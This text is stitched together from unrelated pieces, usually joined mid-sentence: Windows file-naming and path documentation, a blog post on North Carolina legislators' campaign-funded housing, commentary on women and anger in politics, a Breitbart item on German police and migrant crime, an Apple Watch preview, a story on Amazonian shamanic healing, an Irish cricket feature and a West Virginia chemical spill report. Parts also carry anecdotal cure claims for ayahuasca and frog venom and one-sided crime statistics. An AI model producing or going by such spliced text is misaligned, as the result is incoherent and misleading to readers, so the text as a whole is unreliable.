Character count limitations can also be different and can vary depending on the file system and path name prefix format used. This is further complicated by support for backward compatibility mechanisms. For example, the older MS-DOS FAT file system supports a maximum of 8 characters for the base file name and 3 characters for the extension, for a total of 12 characters including the dot separator. This is commonly known as an 8.3 file name. The Windows FAT and NTFS file systems are not limited to 8.3 file names, because they have long file name support, but they still support the 8.3 version of long file names.
Naming Conventions
The following fundamental rules enable applications to create and process valid names for files and directories, regardless of the file system:
Use a period to separate the base file name from the extension in the name of a directory or file.
Use a backslash () to separate the components of a path. The backslash divides the file name from the path to it, and one directory name from another directory name in a path. You cannot use a backslash in the name for the actual file or directory because it is a reserved character that separates the names into components.
Use a backslash as required as part of volume names, for example, the "C:\" in "C:\path\file" or the "\\server\share" in "\\server\share\path\file" for Universal Naming Convention (UNC) names. For more information about UNC names, see the Maximum Path Length Limitation section.
Do not assume case sensitivity. For example, consider the names OSCAR, Oscar, and oscar to be the same, even though some file systems (such as a POSIX-compliant file system) may consider them as different. Note that NTFS supports POSIX semantics for case sensitivity but this is not the default behavior. For more information, see CreateFile.
Volume designators (drive letters) are similarly case-insensitive. For example, "D:\" and "d:\" refer to the same volume.
Use any character in the current code page for a name, including Unicode characters and characters in the extended character set (128–255), except for the following: The following reserved characters: < (less than) (greater than) : (colon) " (double quote) / (forward slash) \ (backslash) | (vertical bar or pipe)? (question mark) * (asterisk) Integer value zero, sometimes referred to as the ASCII NUL character. Characters whose integer representations are in the range from 1 through 31, except for alternate data streams where these characters are allowed. For more information about file streams, see File Streams. Any other character that the target file system does not allow.
Use a period as a directory component in a path to represent the current directory, for example ".\temp.txt". For more information, see Paths.
Use two consecutive periods (..) as a directory component in a path to represent the parent of the current directory, for example "..\temp.txt". For more information, see Paths.
Do not use the following reserved names for the name of a file: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names followed immediately by an extension; for example, NUL.txt is not recommended. For more information, see Namespaces.
Do not end a file or directory name with a space or a period. Although the underlying file system may support such names, the Windows shell and user interface does not. However, it is acceptable to specify a period as the first character of a name. For example, ".temp".
Short vs. Long Names
A long file name is considered to be any file name that exceeds the short MS-DOS (also called 8.3) style naming convention. When you create a long file name, Windows may also create a short 8.3 form of the name, called the 8.3 alias or short name, and store it on disk also. This 8.3 aliasing can be disabled for performance reasons either systemwide or for a specified volume, depending on the particular file system.
Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: 8.3 aliasing cannot be disabled for specified volumes until Windows 7 and Windows Server 2008 R2.
On many file systems, a file name will contain a tilde (~) within each component of the name that is too long to comply with 8.3 naming rules.
Note Not all file systems follow the tilde substitution convention, and systems can be configured to disable 8.3 alias generation even if they normally support it. Therefore, do not make the assumption that the 8.3 alias already exists on-disk.
To request 8.3 file names, long file names, or the full path of a file from the system, consider the following options:
To get the 8.3 form of a long file name, use the GetShortPathName function.
function. To get the long file name version of a short name, use the GetLongPathName function.
function. To get the full path to a file, use the GetFullPathName function.
On newer file systems, such as NTFS, exFAT, UDFS, and FAT32, Windows stores the long file names on disk in Unicode, which means that the original long file name is always preserved. This is true even if a long file name contains extended characters, regardless of the code page that is active during a disk read or write operation.
Files using long file names can be copied between NTFS file system partitions and Windows FAT file system partitions without losing any file name information. This may not be true for the older MS-DOS FAT and some types of CDFS (CD-ROM) file systems, depending on the actual file name. In this case, the short file name is substituted if possible.
Paths
The path to a specified file consists of one or more components, separated by a special character (a backslash), with each component usually being a directory name or file name, but with some notable exceptions discussed below. It is often critical to the system's interpretation of a path what the beginning, or prefix, of the path looks like. This prefix determines the namespace the path is using, and additionally what special characters are used in which position within the path, including the last character.
If a component of a path is a file name, it must be the last component.
Each component of a path will also be constrained by the maximum length specified for a particular file system. In general, these rules fall into two categories: short and long. Note that directory names are stored by the file system as a special type of file, but naming rules for files also apply to directory names. To summarize, a path is simply the string representation of the hierarchy between all of the directories that exist for a particular file or directory name.
Fully Qualified vs. Relative Paths
For Windows API functions that manipulate files, file names can often be relative to the current directory, while some APIs require a fully qualified path. A file name is relative to the current directory if it does not begin with one of the following:
A UNC name of any format, which always start with two backslash characters ("\\"). For more information, see the next section.
A disk designator with a backslash, for example "C:\" or "d:\".
A single backslash, for example, "\directory" or "\file.txt". This is also referred to as an absolute path.
If a file name begins with only a disk designator but not the backslash after the colon, it is interpreted as a relative path to the current directory on the drive with the specified letter. Note that the current directory may or may not be the root directory depending on what it was set to during the most recent "change directory" operation on that disk. Examples of this format are as follows:
"C:tmp.txt" refers to a file named "tmp.txt" in the current directory on drive C.
"C:tempdir\tmp.txt" refers to a file in a subdirectory to the current directory on drive C.
A path is also said to be relative if it contains "double-dots"; that is, two periods together in one component of the path. This special specifier is used to denote the directory above the current directory, otherwise known as the "parent directory". Examples of this format are as follows:
"..\tmp.txt" specifies a file named tmp.txt located in the parent of the current directory.
"..\..\tmp.txt" specifies a file that is two directories above the current directory.
"..\tempdir\tmp.txt" specifies a file named tmp.txt located in a directory named tempdir that is a peer directory to the current directory.
Relative paths can combine both example types, for example "C:..\tmp.txt". This is useful because, although the system keeps track of the current drive along with the current directory of that drive, it also keeps track of the current directories in each of the different drive letters (if your system has more than one), regardless of which drive designator is set as the current drive.
Maximum Path Length LimitationOur legislators get roughly $100 per day to cover food and lodging expenses while the legislature is in session. A number of legislators I spoke with said there are several hotels near Jones Street that offer special rates for legislators during session. Yet, we’re coming across a surprising number of legislators who are using campaign funds to pay for apartments and houses in Raleigh.
Here are two examples. Senator Fletcher Hartsell (R-Cabarrus) has been the subject of a state elections board inquiry, and has been handed off to a prosecutor for further review. if you go to his campaign report on the state board of elections web site, you’ll see him paying money to “Capitol Communications” in Granite Falls for “Rent-Oberlin.”
Capitol Communications is the firm run by uber-consultant Paul Shumaker. Sources in Raleigh confirm for us that Shumaker does indeed own an apartment in the Oberlin Road area of Raleigh. Sources also confirm for us that Hartsell was sub-letting, and in some cases, sharing the apartment with Shumaker. (That arrangement, we’re told, recently was dissolved.) Further review of Hartsell’s report reveals payments for cable service and electricity for “Oberlin” — also the Shumaker property. For what it’s worth, Shumaker DOES advertise himself as an expert in “government relations” (A/K/A lobbying).
It’s one thing to rent an apartment while in Raleigh for legislative business. It’s another to try and disguise it as a legitimate campaign expense.
Let’s look at the report of senator Jerry Tillman, the majority whip in the General Assembly’s upper chamber. Tillman’s district is centered mainly on Randolph and Moore Counties. Yet, his campaign report identifies regular rent payments for a “campaign office” in RALEIGH. Specifically, the location of said “campaign office” is Blackwolf Run Townhomes at 5448 Grand Traverse Drive in Raleigh.
Google tells us that Black Wolf Run has two pools, an athletic club, a golf course, and an on-site staff. Tillman’s report shows rental payments for the campaign office during months and years outside of campaign season.
Both of these guys take campaign contributions from individuals AND lobbyists. So, those folks are basically paying for these housing arrangements.UNITED STATES - FEBRUARY 14: Sen. Elizabeth Warren, D-Mass., conducts a news conference in the Capitol on the re-nomination of Richard Cordray to head the Consumer Financial Protection Bureau. (Photo By Tom Williams/CQ Roll Call)
Ever notice how anger helps a man command a room, but it often has the opposite effect for women?
While the former comes off as passionate, the latter is often remembered as emotionally erratic, an outcome predictable enough to make any woman angry. (Can someone say vicious cycle?)
But there may be a way out, if a new book by John Neffinger and Matthew Kohut is any indication. In Compelling People, the authors posit that what makes individuals captivating is their ability to communicate both strength and warmth, but they recognize that it's a fine balance -- and that balancing act is trickier for women.
As a passionate feminist writer who covers gender in politics, this wasn't news to me. It's hard to remember in the wake of Sydney Leathers, but before Anthony Weiner went into complete and utter auto-destruct mode, he was highly regarded by voters for his audacity and unflinching boldness. I remember working in a non-profit organization in D.C. where my coworkers would huddle up at lunch to watch the emboldened congressman ripping Republicans to shreds on the floor over a law for 9/11 heroes, or women's reproductive freedom or public funding for NPR. The more he lost his temper, the more he rose in stature to us.
When Senator Claire McCaskill showed half the amount of competitiveness and confidence during the 2012 general election, she was told that "she was very aggressive" and that she used to be much "more lady-like." It was a similar story in 2008, when Hillary Clinton, a front-runner for the democratic presidential candidacy, was called "too angry to be elected president" by a prominent Republican. A look back at Clinton's years as First Lady and as a U.S. senator shows that she was met with even more vitriol for being assertive.
In their book Compelling People, Neffinger and Kohut cite a study that showed that Hillary Clinton "has been the butt of more jokes than any other human being, living or dead." Surprisingly, the woman nicknamed "Chillary" by comedians and politicians alike climbed in the polls after the Lewinsky scandal "because a significant part of the public sympathized with her as an aggrieved yet loyal wife, even if she did not outwardly radiate warmth." This poll trend sends a troubling message about what it means to be a prominent, powerful woman. Could it be that the only way to get the public's sympathy if you're a strong woman is to be cheated on?
In the public's eye, anger doesn't look as appealing on women as it does on men. Although John Neffinger and Matthew Kohut argue that compelling people must exude strength and warmth to get respect and recognition, they explain that gender stereotypes make this role harder to navigate for women. Because strength is traditionally associated with masculinity, strong women are seen in a negative light.
Neffinger and Kohut's research explains why someone like Elizabeth Warren has been called "unnecessarily aggressive," with a YouTube that is actually titled "Why Is Everyone Afraid Of Elizabeth Warren?"
This double standard is even worse for women of color, who are already too often boxed into the category of the "angry black woman." For evidence, one need look no further than to Michelle Obama's rather neutral response to a heckler, which was grossly exaggerated in the media.
The media freely admits to this imbalance. On "Morning Joe," Joanna Coles, Cosmopolitan's editor-in-chief, noted that sexism is obvious in the way that the media tells stories "Male congressmen, male senators are always described as'stating' something in the House. Women senators and congresswomen are always described as 'complaining.' Women are emotional; men are somehow stoic," she said.
In other words, a man is angry because he cares, while a woman is angry because she's an emotional wreck.
As Neffinger and Kohut point out, men who are angry don't only get more respect, status and better job titles -- they also get higher pay Despite the fact that men can use anger to achieve status, women may need to be calm in order to come off as rational. You know, so that people don't think they're PMS-ing, or whatever.
So, what's the solution?
John Neffinger and Matthew Kohut think it's not up to women to conform by replacing strength with warmth, but rather to increase their expression of both. They cite Oprah Winfrey and Ann Richards as masters of this fine balance.
Although our culture is still largely uncomfortable with angry women, there is some light at the end of the tunnel. For instance, we are becoming more comfortable with Hillary Clinton's impassioned speeches, like the one she gave at the Benghazi hearing. Even Elizabeth Warren's impatience with the government shutdown had seemed to at least correlate with her steady climb in the polls. In an interview, John Neffinger told me he is hopeful because Warren has an "ability to tear hypocrites's argument to pieces with a lilting folksy cadence and a friendly smile." All of the pictures being shared of her within her base "pointing angrily with her brow in full furrow" is a sure sign that she has managed to "appeal to everybody."
If Neffinger is right, maybe we've all calmed down about angry women. I certainly hope so, because as Elizabeth Warren well knows, there's plenty for all of us to be angry about. We'll need strong, warm, passionate women like her to help lead us out of the mess we're in.
What do you think? Can women navigate this emotional double standard? Should they? Let me know on Twitter and Facebook
Compelling People is on sale at Amazon or at any local bookstore.
Also On HuffPost:The German police have been left unable to protect the public from criminal migrants due to years of neglect by state governments which have left the force short of thousands of officers.
The remarkable admission was made by a spokesman for the Gewerkschaft der Polizei — the German union for police officers — in response to the comments made by union chief Rüdiger Seidenspinner about the migrant problem.
Union spokesman Michael Zielasko told Breitbart London it was inevitable criminals would travel to Europe, remarking: “of course there is a percentage of criminals in this big amount of refugees the police has to cope with”.
Mr. Zielasko said the state forces were hamstrung in the fight against migrant crime by budget cuts, which left them without the manpower to deal with the problem. He said: “It isn’t very easy to deal with this issue because German police has a lack of 16,000 policemen. For years German politicians have forwarded a massive staff reduction”.
Chief Mr. Seidenspinner spoke out yesterday on the migrant crime wave, his potentially controversial comments backed up by statistics which show incomers are between three and four times more likely to commit crime than the general population.
Complaining officers routinely came up against the same criminal migrants time and again, he hit out at the courts and migration system which gave them joke punishments such as unenforceable fines, while failing to deport criminals.
German police were, said the Union representative to Breitbart, stuck enforcing the laws as prescribed by politicians, whether they were effective or not.
The severe under-staffing described by the Police Union as standing at some 16,000 has a serious knock-on effect on not only capacity of the force, but the morale of individual officers. With migrant emergencies and German anti-migration protests taking place daily, taking leave, or even having weekends off are now little more than a “fairy tale”, said Mr. Seidenspinner.Today, it seemed as if every tech journalist in America was crammed into Apple’s auditorium. We were there to see the unveiling of the Apple Watch, the first new product category from Apple since the iPad.
The Flint Center, where Apple introduced the Apple Watch … right before it became a sea of tech journalists. (Stephan Lam/Reuters)
Yes, the new phones, the iPhone 6 and iPhone 6 Plus, are intriguing, and I’ll be reviewing them soon. But the watch stole the show.
When can you get it? Not today. In fact, it’s a long way from being ready. We don’t even know when it will come out, except that it will be in 2015 sometime.
But I did get a chance to wear one briefly, use it for a little bit, and learn more about it in a private session. Here’s what I know.
What Apple said publicly
The Apple Watch is a gorgeous little metal square with rounded edges; at first glance, it could be a tiny iPod Shuffle strapped to your wrist.
(Marcio Jose Sanchez/Associated Press)
But, up close, you realize that this watch is much smaller and more beautiful than most previous smartwatches. It’s available in two screen sizes: 1.5 and 1.7 inches.
Within each size, there are three models: Apple Watch (stainless steel body, sapphire back); Apple Watch Sport, built to be tougher and 30 percent lighter (aluminum body, stronger “ion-exchange” glass front, plastic composite back instead of sapphire); and the gold Edition watch, which is 18-karat gold (including the buckle on the band) and quite heavy.
There are six different band styles in various materials (leather, plastic, stainless steel). On the bottom of the watch, at each end, there’s a tiny release button that lets you make quick band changes without a Phillips screwdriver or a visit to a jeweler.
Story continues
(Marcio Jose Sanchez/Associated Press)
That means there are a lot of options. It’s unlike Apple, really. This is the company usually known for designing products that say, “Here’s the look we’ve chosen for you.”
You can control the watch using at least four methods. First, there’s Siri. You can dictate text or give commands.
Second, there’s a remarkable “Digital Crown” on the right side (sorry, lefties). Turning the knurled knob zooms in or out of the Home screen, or moves the highlighting through various onscreen options so you can change them. You can also click this crown as an OK button.
Tim Cook with screen showing the Apple Watch More
(Marcio Jose Sanchez/Associated Press)
Third, there’s a big button below the crown, again on the right side. Apple showed only one function for it: Press it to summon the icons of the people you communicate with most frequently, in order to send them texts, drawings, or — this is so cool — tap signals.
For example, when you want to leave a party, tap three times on your watch’s screen. Your spouse feels the same tapping pattern on her wrist, elsewhere in the room. Or you could send a silent “I love you” tap to your spouse’s wrist when you’re thousands of miles apart.
You’ll also press the big side button twice when you want to pay for something using Apple’s new Apple Pay wireless payment system (see below).
Finally, you can touch the screen: Tap buttons, tap app icons to open them, and so on.
Interestingly, this screen knows how hard you’re tapping — I haven’t seen that before in watches or phones. Pressing hard will serve as a “right-click” — to open a shortcut menu full of options.
There’s a home screen full of tiny round app icons. You can zoom in and out by turning the crown, but there are no labels on these icons, which sounds like it could be problematic.
Apple Watch displaying its home screen More
(Siemond Chan/Yahoo Tech)
When you raise your wrist, the darkened screen lights up to show you the time, using your chosen watch face. From there, you swipe up to see Glance: a series of horizontally scrolling info-screens like weather, GPS, stocks, calendar, and so on. (Yes, reminiscent of Android Wear.) You can specify which of these you want to see, and developers can write new ones.
On the back: four round lenses. Light is sent through two of them, and the other two are infrared sensors. Together, they examine the blood flow through your skin, for the purpose of determining your pulse rate.
Tim Cook with screen showing the Apple Watch More
(Marcio Jose Sanchez/Associated Press)
The charger is a magnetic disk that snaps right onto the back. You don’t have to fuss with prongs or getting the orientation right. It’s even better than the MagSafe adapter on MacBooks.
What Apple said privately
Apple reps offered individual briefings to some tech writers; there I learned a bunch of stuff that Apple didn’t say in its keynote.
For example, the Apple Watch is water resistant. Sweating, wearing it in the rain, washing your hands, or cooking with it are fine. Take it off before you swim or get in the shower, though.
What you also couldn’t tell in the keynote presentation was how this watch feels and sounds. It issues little vibrations of various intensities (it can control both the intensity and the rapidity of the vibration), which will have different meanings. For example, one vibration means “turn left” when you’re using GPS, and another means “turn right.” The watch is light and comfortable, and its sounds are clear and full of personality.
There’s a speaker and a microphone on the watch. You can, in fact, take and make phone calls from your wrist, Dick Tracy style. That goofy ergonomic position was first made laughable by the Samsung Gear watches, so I’m not sure how many people will use it — but you can do it if you want.
I also learned that you’ll load apps onto the watch from your iPhone. And you’ll be able to rearrange those app icons into little clusters on the home screen. (To do that, you’ll use the same technique you do on the iPhone: Hold your finger down until they start wiggling, and then drag them around.)
Oh, and there’s a “Ping My Phone” button on the watch, which will make your phone beep. Great when you’ve lost your phone somewhere in the house.
The fanciest model, the gold Apple Phone Edition, comes in a gorgeous jewelry box — which doubles as a charger. The back of the box has a Lightning connector, and the inside of the box has the watch’s magnetic round charger pad, standing vertically. So as you retire each night, you can just lay your gold watch into its case and let it charge.
What Apple knows but hasn’t said
There’s quite a bit that we don’t know yet about the Apple Watch, and Apple isn’t yet saying. For example:
• Technical specs. We don’t know the screen resolution or the screen technology. We don’t know how much storage is inside or the processor speed.
• Battery life. We don’t know the battery life. (I’ll bet on “one day.”)
• What that big button is for. That big button below the crown: What’s it for? We know that it summons your friends’ icons or lets you pay for things. But it will have other functions, as yet unannounced.
• How you’ll manage the phone. How do you delete apps from the watch? How do you change the settings? How do you specify which Glance screens you want to see? I’m guessing you’ll use a special phone app, but Apple isn’t saying yet.
What even Apple doesn’t know
Lots of the Apple Watch’s systems aren’t working yet. Pricing and models haven’t been ironed out.
We know that the least expensive watch will cost $350. But there are a bunch of models; how expensive they’ll go, Apple hasn’t determined yet.
Will you be able to mix and match bands with watches? Not decided yet.
Apple hasn’t yet determined exactly which features will make the cut, either. For example, will the watch offer geofencing (where it beeps to let you know that you’ve wandered away from your phone, leaving it on a restaurant table)?
Finally, the big one: Nobody knows if the Apple Watch will be a hit.
Smartwatches so far have failed with the public because they were ugly, they were big and bulky, or they didn’t do much more than your phone could do. Or all three.
It’s clear that Apple has put more thought into these factors than any other company so far. The Apple Watch is by far the least gigantic fully capable smartwatch, and it’s among the best looking.
Its reason for being also seems better considered than previous smartwatches. It’s the health monitoring. This watch keeps track of your heart rate as you exercise. (And that’s as you exercise — continuously; you don’t have to stop, hold still, and wait for it to take a sample, as on Samsung’s watches.) It keeps track of how much time you spend standing. Moving. Working out.
If the new Apple Pay system catches on, that’s a natural for a smartwatch, too: Pay for something at the register by waving your hand at a special wireless payment terminal. (Apple says that 220,000 stores are already equipped and that it’s working to sign up national chains like Macy’s, Bloomingdale’s, Whole Foods, McDonald’s, Disney, and so on.)
Apple even said that your watch will double as a wireless hotel-room key at Starwood hotels. That’s cool.
But let’s remember that the most notable wrist trend in the past few years is people abandoning wristwatches. If the Apple Watch succeeds, it will have to overcome that tidal force.
And, of course, the Apple Watch requires that you own an iPhone. It requires that you sign into the Apple ecosystem. It won’t work if you’re among the hundreds of millions of people who have Android phones (or the 23 people who have Windows Phones).
In other words, the new watch won’t do anything to bring a truce between the Apple fans and the Android fans (whose vitriol toward one another will be clearly visible in the comments on this article).
The bottom line: Many questions remain, but one thing is for sure. By blessing the Apple Watch with great looks, small size, customizability, and reasons for existing on your wrist, Apple has gone further than any other company — much further — in helping to launch the Dawn of the Smartwatch Era.
You can email David Pogue here.Ten years ago, Mark Pischea, then a 42-year-old political consultant and father of five from Williamston, Michigan, was rushed to the hospital with severe stomach pain.
Pischea was diagnosed with Crohn's disease, a chronic autoimmune condition that can cause extreme abdominal discomfort, weight loss, fatigue and fevers. For the next decade of his life, the formerly healthy husband and father lived in a constant cycle of flare-ups, surgery and recovery.
After his fifth surgery, Pischea was bedridden for six weeks. At that point, he was told his only remaining options were a sixth surgery or the removal of his stomach. He said that he felt ready to die.
But there was, in fact, one other option, albeit an unconventional one. At his wife’s insistence, Pischea got out of bed, boarded a plane and made his way down to a rustic healing center in San Roque de Cumbasa, a tiny village in the Peruvian Amazon.
Pischea spent most of the next three weeks in solitude, following a strict dieta of rice, plantains and specially prepared plant teas. Several times a day, he met with a shaman named Antonio, who prescribed him local plants known to induce vomiting, as a way to cleanse the body and "reboot" the immune system. The shaman's recommendations also included ayahuasca, a potent hallucinogenic brew, and kambo, the venom of a rain forest tree frog.
Four months later, Pischea is free of not only his Crohn’s symptoms, but also the depression that had developed alongside his sickness.
“For me, being symptom-free is nothing short of a miracle,” he told The Huffington Post. "I'm thankful for each day that I'm feeling well."
Looking for answers
Pischea is one of a rapidly growing number of Americans struggling with cancer, chronic disease, mental illness and other ailments who have turned to the Amazon for answers that modern medicine has failed to provide them.
“I went to the top Crohn’s clinics in the world and saw the top doctors in the world, and none of them could help me,” Pischea said. “There is a curative quality to the plants in the jungle that you really need to be there in that environment to experience. I think it really does work.”
But the potential medicinal resources of the Amazon -- especially the 80,000 plants native to the region, and the shamanic knowledge that often exists only in oral form among the disappearing tribes -- remains largely untapped. Despite the fact that 25 percent of modern pharmaceuticals are derived from rain forest plants, currently less than 1 percent of tropical plants have been analyzed for medical purposes.
Even the plant medicines that are commonly used by shamans, as the indigenous medicine men and women are called, are poorly understood by Western doctors. So far, there has been little research aimed at evaluating indigenous plant medicine and shamanic treatment protocols.
But that’s beginning to change. Now, a large-scale new research project is creating the opportunity for a meeting of the minds between traditional and modern medicine, between shamans and scientists.
In Ecuador and Peru, the Runa Foundation -- a nonprofit that does conservation work in the Amazon and provides opportunities for economic advancement to indigenous peoples -- is working with a new initiative, PlantMed, to build medical clinics for the research of plant medicine, facilities that will be the first of their kind.
"What we’re doing is trying to put together a multidisciplinary team that involves Western-trained physicians and psychologists as well as the shamans that are indigenous to these areas," Dr. Mauro Zappaterra, a Harvard-trained physician who is on the advisory board of the forthcoming clinics, told The Huffington Post. "It’s bringing together the best minds from Western medicine and from Amazonian, or shamanic, medicine... to create an even better medicine that incorporates all of it."
Looking to the rain forest for the next miracle drug is hardly a new practice. Pharmaceutical companies have been sending ethnobotanists to the rain forest for decades to test and collect plants with potential medicinal properties. But for all this exploration, there’s been little collaboration between these medical researchers and the people who have been harnessing the healing powers of these plants for thousands of years.
That kind of collaboration is at the core of PlantMed's mission. At the Naku Center, located in an area of rich biodiversity deep in the Ecuadorian Amazon, researchers from Stanford, Yale and other institutions will work with healers from the Sapara tribe, an endangered society of fewer than 600 people. At the Rios Nete center in Peru, researchers will work with the Shipibo, a larger tribe whose members are well-known for their medicinal wisdom.
At each center, an M.D. and a shaman, with the support of a team of wellness practitioners and clinicians, will care for an initial group of 15 patients using shamanic protocols, while the researchers analyze their treatments using modern technology. The facilities are slated to open early next year.
While modern medicine is the most sophisticated healing system ever designed, it’s “still got a lot of holes in it,” said Dr. Mark Plotkin, an Amazonian ethnobotanist, conservationist and author of the 1994 book Tales of a Shaman’s Apprentice.
“All you've got to do is look at pancreatic cancer, insomnia, acid reflux, stress -- all these things that Western medicine can't cure -- to realize we need alternatives or additions,” Plotkin told HuffPost. “As Westerners, we're taught that anything that isn't done by a white guy in a lab coat isn't science, but that obviously isn't true.”
Raine Donohue/Runa Foundation
Dr. Gerard Valentine, a psychiatrist and researcher at the Yale School of Medicine and an adviser for Rios Nete, says that PlantMed's clinics are “poised to translate an overlooked trove of botanical knowledge into novel, practical and evidence-based modes of treatment.”
Patients will stay at the clinics for anywhere from three weeks to four months, depending on their diagnosis and disease progression. They’ll be assigned both a lead M.D. and a lead traditional healer, who will work together on their case.
“As Westerners, we're taught that anything that's not done by a white guy in a lab coat isn't science, but that obviously isn't true.”
For each patient, the shaman will conduct a holistic assessment of his or
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him. The ECB have set out their stall. They will select the best players available for selection, and will not in any way jeopardise their own aspirations to be the leading team in the world.
This leaves us with Ireland and their challenge to steer a course to full membership when their best players are jumping ship. Warren Deutrom, CEO of Cricket Ireland, explains what they have done to retain their players. "We surveyed our players last year and asked them directly what sort of structures we needed to retain our best talent in Ireland. The primary responses revolved around developing our own professional domestic structure, striving to play Test cricket, and putting in place our own national academy. These are now live initiatives that form the spine of our strategic objectives for the national squad."
Ireland is one of six associate nations that form part of the ICC's High Performance Programme, seeking to bridge the gap between leading associate nations and full members. This provides additional funding that enables Cricket Ireland to offer contracts to their players and they hope to use this financial incentive to gain long-term commitment from senior players.
"We intend to offer our most important players two-year contracts that take us up to the World Cup," says Deutrom. "One of the roles of our new national academy manager will be to instil in our young players the desire to remain loyal to their country and to sell the benefits that will accrue cricket-wise and financially as the game continues to grow in Ireland."
The model for Irish success is Kevin O'Brien, who has enjoyed a professional career and gained a global profile through starring for Ireland. In Deutrom's words: "He doesn't need to play for an English county in order to further his cricket career".
Cricket Ireland has notified the ECB of their professional squad of players for the 2015 World Cup and hope that their English counterparts will not seek to undermine their preparation. "The ECB recognised that the ICC has invested significant funding into Ireland to help us to be more competitive on the world stage and that, as the World Cup is the most high-profile benchmark of competitive progress, it stands to reason that we should prepare for that event without fear of losing vital players in the lead-up."
With the Future Tours Programme already creaking with fixture fatigue and the full members' share of revenue set to shrink if there is an 11th slice of the pie, Ireland will need philanthropy to prevail over finances
While acknowledging that losing Morgan and Rankin has lessened their chances of full member scalps, Deutrom is focusing on the future and pointing to the young squad that secured recent victories over Scotland, as well as the exciting crop of teenagers who will be nurtured in their academy. "ICC will only be concerned if we don't identify and develop new talent to take the place of those we lose, and all we had was just one 'golden generation'. ICC also looks at the broader picture of whether the game is growing in popularity: whether there is media coverage, whether there is corporate buy-in, and government support. We are only getting stronger on and off the pitch and we believe that, eventually, our case for elevation will become unanswerable."
Of course that desire, however strong Ireland's case, will be decided by the full members, who dominate decision-making in the ICC's governance structure. Unsurprisingly, in such a system self-interest often prevails. In this way Ireland's objective is as much to win support amongst the full members, as Bangladesh did, as meet the ICC's criteria. But with the Future Tours Programme already creaking with fixture fatigue and the full members' share of revenue set to shrink if there is an 11th slice of the pie, they will need philanthropy to prevail over finances.
Ger Siggins, a seasoned Irish cricket correspondent and champion of their bid for full member status, believes the lure of Test cricket holds the key. "The players who have gone to England said they wanted to play Test cricket, so obviously that is what Ireland has to push for. The only difference then would be the money, and Cricket Ireland can't compete with the ECB there. To keep players interested Ireland will need to upgrade its fixture list, keep qualifying for ICC events and bring more money into the domestic game.
"It is incredibly damaging that Ireland cannot field a full-strength side. Bangladesh got into the elite on little more than one win at the 1999 World Cup. Ireland has beaten five full members in the last decade, some several times, and still can't get a sniff of full member status."
But this is not just a case of a full member exploiting the resources of an associate neighbour, wherever you stand on how ethical or significant that is. A fortnight before the game in Malahide, Kyle Jarvis, the promising Zimbabwean seamer, ditched country for county in signing for Lancashire. He could play Test cricket but has chosen not to. Perhaps then it isn't about Test cricket at all but personal ambition. Kevin O'Brien is an associate player earning a good living, courted by lucrative Twenty20 franchises and boasting a global fan-base. Jarvis is a Test player for an unfashionable team with little career security.
Ryan ten Doeschate used Netherlands as a springboard for wealth and fortune. If Ireland enable Paul Stirling to do the same perhaps he won't listen to English overtures and who knows, in doing so in time he may find himself playing Test cricket for his home nation.
This article was first published in the November 2013 issue of All Out Cricket magazine. Read what Jonathan Trott thinks about Australian claims to have got inside his head
© All Out CricketA second chemical was mixed in with the previously identified MCHM crude that leaked from a storage tank at Freedom Industries chemical company earlier this month and tainted drinking water in a large swath of West Virginia, a spokeswoman for Gov. Earl Ray Tomblin told Al Jazeera Tuesday evening.
State authorities said that earlier Tuesday they had received a document from Freedom Industries indicating the presence of the second substance, a modified form of a chemical called PPH. The chemical appears to be less toxic than MCHM, government authorities said, but further study will be required.
State regulators sharply criticized Freedom Industries for failing to report the presence of a second chemical earlier and ordered the company to disclose everything that leaked into the Elk River from their storage tank by 4 p.m. Wednesday.
"Having to order them to provide such obvious information is indicative of the continued decline of their credibility," said Randy Huffman, secretary of the state's Department of Environmental Protection.
Freedom Industries replied to the DEP order in a letter late Wednesday night saying that no other chemicals were present in the tank.
"PPH is added to the Crude MCHM to act as an "extender," in that the Crude MCHM is available in limited, sporadic quantities," the letter said.
The chemical spill into the Elk River prompted authorities to impose a Jan. 9 ban on drinking, bathing or even touching water from taps. The ban was lifted Jan. 19, but residents this week were still reporting symptoms such as rashes or nausea after coming into contact with the water. Some also complained of a strange, licorice-like odor emanating from taps and toilets.
On Wednesday afternoon, the West Virginia American Water Company (WVAW), the company responsible for the region's water supply, released a statement announcing that ongoing water sampling and testing had found "non-detectable" or "extremely low" levels of MCHM, a material used in the processing of coal, throughout the affected Kanawha Valley area.
“Data points collected by our interagency team over the past few days indicate decreasing levels of MCHM,” said the company's president, Jeff McIntyre. “The majority of samples are reading Non-Detectable. In areas where sample results show levels above the non-detectable limit, they are still extremely low and only a fraction of the CDC-established 1 ppm health-protective limit.”
The West Virginia governor’s office had strong words for the chemical company in the wake of the second chemical revelations.
"It was Freedom's responsibility to let people know there was another chemical in the tank and they did not," Amy Goodwin, the director of communications for Gov. Tomblin, told Al Jazeera.
"At this point there is very limited trust in any of the information that is being provided by Freedom, but the second we found out about it, the Department of Environmental Protection, the Department of Health and Human Resources, the National Guard and the Office of Homeland Security went out and did testing within the system," she said.
The Environmental Protection Agency (EPA) told Al Jazeera in an email statement that there was likely no cause for alarm.
"Given the small percentage of PPH in the tank and information suggesting similar water solubility as MCHM, it is likely that any amount of PPH currently in the water system would be extremely low."
"However, the water system has not been tested for this material," the statement added.
In its initial assessment of the chemical spill, the CDC also said it is unlikely that the chemical poses any new threat to people's safety.
"An initial review of the currently available toxicologic information does not suggest any new health concerns associated with the release of PPH," a CDC statement read.
Members of the West Virginia National Guard conducted about 20 tests on Tuesday using samples collected from Jan. 9. Their preliminary results also indicated the levels were nondetectable.
Goodwin said the second chemical was a "stripped form" of the chemical PPH, meaning it has certain elements removed from its pure form.
About 300 gallons of the chemical were in the tank, making up about 5 percent of the tank's total capacity, Goodwin said.
The Freedom Industries letter Wednesday, however, stated that 7.3 percent of the tank's capacity was made up of PPH.
During the height of the tainted water crisis last weekend, officials said they were waiting for tests to show that MCHM had dropped to around 1 part per million, which authorities had deemed a safe threshold.
Some residents are still refusing to drink the water, and authorities have warned pregnant women against drinking it until levels of MCHM are undetectable.
According to the local Charleston Gazette newspaper, Gary Southern, president of Freedom Industries, told West Virginia environmental regulator Mike Dorsey about the presence of the second chemical about 10 a.m. Tuesday.
